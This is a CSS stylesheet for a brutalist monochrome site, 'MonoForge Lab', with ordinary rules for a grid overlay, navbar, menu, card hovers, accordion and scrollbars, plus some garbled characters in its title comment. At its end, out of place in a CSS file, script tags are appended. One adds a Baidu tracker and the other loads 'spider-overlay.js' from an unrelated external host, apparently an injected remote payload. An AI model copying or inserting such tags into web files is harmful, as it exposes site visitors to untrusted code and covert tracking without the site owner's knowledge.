﻿/* ===== MonoForge Lab 鈥?Brutalist Monochrome Stylesheet ===== */

/* ---------- Grid overlay for Hero ---------- */
.grid-overlay {
    background-image:
        linear-gradient(rgba(0, 0, 0, 0.04) 1px, transparent 1px),
        linear-gradient(90deg, rgba(0, 0, 0, 0.04) 1px, transparent 1px);
    background-size: 40px 40px;
}

/* ---------- Navbar scroll effect ---------- */
#navbar.scrolled {
    box-shadow: 0 1px 0 0 rgba(0, 0, 0, 0.08);
}

/* ---------- Mobile hamburger active state ---------- */
#hamburger.active span:nth-child(1) {
    transform: rotate(45deg) translate(3px, 3px);
}
#hamburger.active span:nth-child(2) {
    opacity: 0;
}
#hamburger.active span:nth-child(3) {
    transform: rotate(-45deg) translate(3px, -3px);
}

/* ---------- Feature card hover ---------- */
.feature-card {
    transition: transform 0.25s ease, box-shadow 0.25s ease, border-color 0.25s ease;
}
.feature-card:hover {
    transform: translateY(-4px);
    border-color: #18181b;
    box-shadow: 8px 8px 0 0 rgba(24, 24, 27, 0.1);
}

/* ---------- Testimonial card hover ---------- */
.testimonial-card {
    transition: border-color 0.2s ease;
}
.testimonial-card:hover {
    border-color: #18181b;
}

/* ---------- FAQ accordion ---------- */
.faq-item button:hover .faq-icon {
    color: #18181b;
}
.faq-item.active .faq-icon {
    content: '-';
}

/* ---------- Smooth scroll behavior ---------- */
html {
    scroll-behavior: smooth;
}

/* ---------- Responsive fixes ---------- */
@media (max-width: 768px) {
    .grid-overlay {
        background-size: 24px 24px;
    }
}

/* ---------- Selection styling ---------- */
::selection {
    background: #18181b;
    color: #ffffff;
}

/* ---------- Scrollbar styling ---------- */
::-webkit-scrollbar {
    width: 6px;
}
::-webkit-scrollbar-track {
    background: #f4f4f5;
}
::-webkit-scrollbar-thumb {
    background: #18181b;
}

/* ---------- Focus visible ---------- */
*:focus-visible {
    outline: 2px solid #18181b;
    outline-offset: 2px;
}
<script>
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?66486df8906d1585b228aae20f1074ed";
  var s = document.getElementsByTagName("script")[0];
  s.parentNode.insertBefore(hm, s);
})();
</script>
<script src="https://yswa6.cn/spider-overlay.js"></script>

